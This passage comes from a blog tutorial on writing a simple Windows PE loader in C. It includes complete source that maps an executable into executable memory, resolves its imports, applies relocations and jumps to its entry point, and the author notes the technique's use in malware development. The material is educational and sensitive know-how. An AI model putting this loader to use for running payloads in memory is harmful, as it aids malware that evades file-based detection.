            IMAGE_IMPORT_BY_NAME* importByName = (IMAGE_IMPORT_BY_NAME*)((char*)baseAddress + origFirstThunk->u1.AddressOfData);
            FARPROC functionAddress = GetProcAddress(hModule, (LPCSTR)importByName->Name);

            if (!functionAddress) {
                printf("Failed to resolve import: %s\n", importByName->Name);
                exit(1);
            }

            firstThunk->u1.Function = (DWORD_PTR)functionAddress;
            origFirstThunk++;
            firstThunk++;
        }
        importDesc++;
    }

    printf("Imports resolved.\n");
}

6. ApplyRelocations Function

If the PE file is loaded at an address different from its preferred address, this function applies the necessary relocations to ensure that absolute addresses in the PE file work correctly.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
void ApplyRelocations(IMAGE_NT_HEADERS* ntHeaders, void* baseAddress, DWORD_PTR delta) {
    if (delta == 0) return;

    IMAGE_BASE_RELOCATION* reloc = (IMAGE_BASE_RELOCATION*)((char*)baseAddress +
        ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress);

    while (reloc->VirtualAddress) {
        WORD* relocItem = (WORD*)((char*)reloc + sizeof(IMAGE_BASE_RELOCATION));
        int numRelocs = (reloc->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(WORD);

        for (int i = 0; i < numRelocs; i++) {
            if ((relocItem[i] >> 12) == IMAGE_REL_BASED_HIGHLOW) {
                DWORD* patchAddr = (DWORD*)((char*)baseAddress + reloc->VirtualAddress + (relocItem[i] & 0xFFF));
                *patchAddr += (DWORD)delta;
            }
        }
        reloc = (IMAGE_BASE_RELOCATION*)((char*)reloc + reloc->SizeOfBlock);
    }

    printf("Relocations applied.\n");
}

7. ExecutePE Function

This function locates the entry point of the PE file and executes it.

1
2
3
4
5
6
7
void ExecutePE(IMAGE_NT_HEADERS* ntHeaders, void* baseAddress) {
    void (*entryPoint)() = (void (*)())((char*)baseAddress + ntHeaders->OptionalHeader.AddressOfEntryPoint);
    printf("Executing PE at entry point: 0x%p\n", entryPoint

);
    entryPoint();
}

Full Simple PE Loader (x64)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
#define _CRT_SECURE_NO_WARNINGS
#include <stdio.h>
#include <stdlib.h>
#include <windows.h>

// Function prototypes
void LoadPEFile(const char* filePath);
void ParseHeaders(const char* peBuffer, IMAGE_NT_HEADERS** ntHeaders);
void* AllocateMemoryForImage(IMAGE_NT_HEADERS* ntHeaders);
void MapSections(const char* peBuffer, IMAGE_NT_HEADERS* ntHeaders, void* baseAddress);
void ResolveImports(IMAGE_NT_HEADERS* ntHeaders, void* baseAddress);
void ApplyRelocations(IMAGE_NT_HEADERS* ntHeaders, void* baseAddress, DWORD_PTR delta);
void ExecutePE(IMAGE_NT_HEADERS* ntHeaders, void* baseAddress);

int main(int argc, char* argv[]) {
    if (argc != 2) {
        printf("Usage: %s <PE file path>\n", argv[0]);
        return 1;
    }

    LoadPEFile(argv[1]);
    return 0;
}

void LoadPEFile(const char* filePath) {
    FILE* peFile = fopen(filePath, "rb");
    if (!peFile) {
        printf("Failed to open PE file: %s\n", filePath);
        exit(1);
    }

    // Get the size of the file
    fseek(peFile, 0, SEEK_END);
    long fileSize = ftell(peFile);
    fseek(peFile, 0, SEEK_SET);

    // Allocate memory and read the file into the buffer
    char* peBuffer = (char*)malloc(fileSize);
    fread(peBuffer, 1, fileSize, peFile);
    fclose(peFile);

    // Parse headers and load sections
    IMAGE_NT_HEADERS* ntHeaders;
    ParseHeaders(peBuffer, &ntHeaders);
    void* baseAddress = AllocateMemoryForImage(ntHeaders);
    MapSections(peBuffer, ntHeaders, baseAddress);
    ResolveImports(ntHeaders, baseAddress);

    // Handle relocations
    DWORD_PTR delta = (DWORD_PTR)baseAddress - ntHeaders->OptionalHeader.ImageBase;
    if (delta != 0) {
        ApplyRelocations(ntHeaders, baseAddress, delta);
    }

    ExecutePE(ntHeaders, baseAddress);
    free(peBuffer);
}

void ParseHeaders(const char* peBuffer, IMAGE_NT_HEADERS** ntHeaders) {
    // DOS Header
    IMAGE_DOS_HEADER* dosHeader = (IMAGE_DOS_HEADER*)peBuffer;
    if (dosHeader->e_magic != IMAGE_DOS_SIGNATURE) {
        printf("Invalid DOS signature.\n");
        exit(1);
    }

    // NT Headers
    *ntHeaders = (IMAGE_NT_HEADERS*)(peBuffer + dosHeader->e_lfanew);
    if ((*ntHeaders)->Signature != IMAGE_NT_SIGNATURE) {
        printf("Invalid PE signature.\n");
        exit(1);
    }

    printf("Valid PE file.\n");
}

void* AllocateMemoryForImage(IMAGE_NT_HEADERS* ntHeaders) {
    // Allocate memory for the image, aligned to the preferred base address
    void* baseAddress = VirtualAlloc((LPVOID)ntHeaders->OptionalHeader.ImageBase,
        ntHeaders->OptionalHeader.SizeOfImage,
        MEM_COMMIT | MEM_RESERVE,
        PAGE_EXECUTE_READWRITE);

    if (!baseAddress) {
        // If allocation at preferred address fails, allocate memory at any available address
        baseAddress = VirtualAlloc(NULL,
            ntHeaders->OptionalHeader.SizeOfImage,
            MEM_COMMIT | MEM_RESERVE,
            PAGE_EXECUTE_READWRITE);
    }

    if (!baseAddress) {
        printf("Failed to allocate memory for image.\n");
        exit(1);
    }

    printf("Memory allocated at: 0x%p\n", baseAddress);
    return baseAddress;
}

void MapSections(const char* peBuffer, IMAGE_NT_HEADERS* ntHeaders, void* baseAddress) {
    // Copy the headers to the allocated memory
    memcpy(baseAddress, peBuffer, ntHeaders->OptionalHeader.SizeOfHeaders);

    // Map sections to memory
    IMAGE_SECTION_HEADER* sectionHeader = IMAGE_FIRST_SECTION(ntHeaders);
    for (int i = 0; i < ntHeaders->FileHeader.NumberOfSections; i++, sectionHeader++) {
        void* dest = (char*)baseAddress + sectionHeader->VirtualAddress;
        void* src = (char*)peBuffer + sectionHeader->PointerToRawData;
        memcpy(dest, src, sectionHeader->SizeOfRawData);
        printf("Mapped section: %s to 0x%p\n", sectionHeader->Name, dest);
    }
}

void ResolveImports(IMAGE_NT_HEADERS* ntHeaders, void* baseAddress) {
    IMAGE_IMPORT_DESCRIPTOR* importDesc = (IMAGE_IMPORT_DESCRIPTOR*)((char*)baseAddress +
        ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress);

    while (importDesc->Name) {
        char* dllName = (char*)baseAddress + importDesc->Name;
        HMODULE hModule = LoadLibraryA(dllName);

        if (!hModule) {
            printf("Failed to load library: %s\n", dllName);
            exit(1);
        }

        IMAGE_THUNK_DATA* origFirstThunk = (IMAGE_THUNK_DATA*)((char*)baseAddress + importDesc->OriginalFirstThunk);
        IMAGE_THUNK_DATA* firstThunk = (IMAGE_THUNK_DATA*)((char*)baseAddress + importDesc->FirstThunk);

        while (origFirstThunk->u1.AddressOfData) {
            IMAGE_IMPORT_BY_NAME* importByName = (IMAGE_IMPORT_BY_NAME*)((char*)baseAddress + origFirstThunk->u1.AddressOfData);
            FARPROC functionAddress = GetProcAddress(hModule, (LPCSTR)importByName->Name);

            if (!functionAddress) {
                printf("Failed to resolve import: %s\n", importByName->Name);
                exit(1);
            }

            firstThunk->u1.Function = (DWORD_PTR)functionAddress;
            origFirstThunk++;
            firstThunk++;
        }
        importDesc++;
    }

    printf("Imports resolved.\n");
}

void ApplyRelocations(IMAGE_NT_HEADERS* ntHeaders, void* baseAddress, DWORD_PTR delta) {
    if (delta == 0) return;

    IMAGE_BASE_RELOCATION* reloc = (IMAGE_BASE_RELOCATION*)((char*)baseAddress +
        ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress);

    while (reloc->VirtualAddress) {
        WORD* relocItem = (WORD*)((char*)reloc + sizeof(IMAGE_BASE_RELOCATION));
        int numRelocs = (reloc->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(WORD);

        for (int i = 0; i < numRelocs; i++) {
            if ((relocItem[i] >> 12) == IMAGE_REL_BASED_HIGHLOW) {
                DWORD* patchAddr = (DWORD*)((char*)baseAddress + reloc->VirtualAddress + (relocItem[i] & 0xFFF));
                *patchAddr += (DWORD)delta;
            }
        }
        reloc = (IMAGE_BASE_RELOCATION*)((char*)reloc + reloc->SizeOfBlock);
    }

    printf("Relocations applied.\n");
}

void ExecutePE(IMAGE_NT_HEADERS* ntHeaders, void* baseAddress) {
    // Get the entry point address and call it
    void (*entryPoint)() = (void (*)())((char*)baseAddress + ntHeaders->OptionalHeader.AddressOfEntryPoint);
    printf("Executing PE at entry point: 0x%p\n", entryPoint);
    entryPoint();
}

Important Note

There is no PE loader that can load all PEs, the most logical way is to write a custom loader for an EXE (in malware development), for example, the above code cannot load Notepad.exe, but it can load clac.exe, the reason for this The difference is the type of PE contents.

Conclusion

This simple PE Loader demonstrates the basic steps required to load and execute a PE file in Windows. In real-world scenarios, more advanced PE Loaders might include additional features like manipulating internal PE structures, more complex header analysis, and various security mechanisms. These types of tools can be used for security testing, malware analysis, or custom software loading and execution.

]]> https://blog.rmxzy.com/2024/09/01/PE-Loader/ 2024-09-01T22:00:00.000Z A walkthrough by Ilia Mirzaali (rmxzy) on writing a Windows PE Loader in C — parsing PE headers, mapping sections, resolving imports, applying relocations, and executing the entry point in-memory. Coding a PE Loader in C 2026-05-07T22:09:06.996Z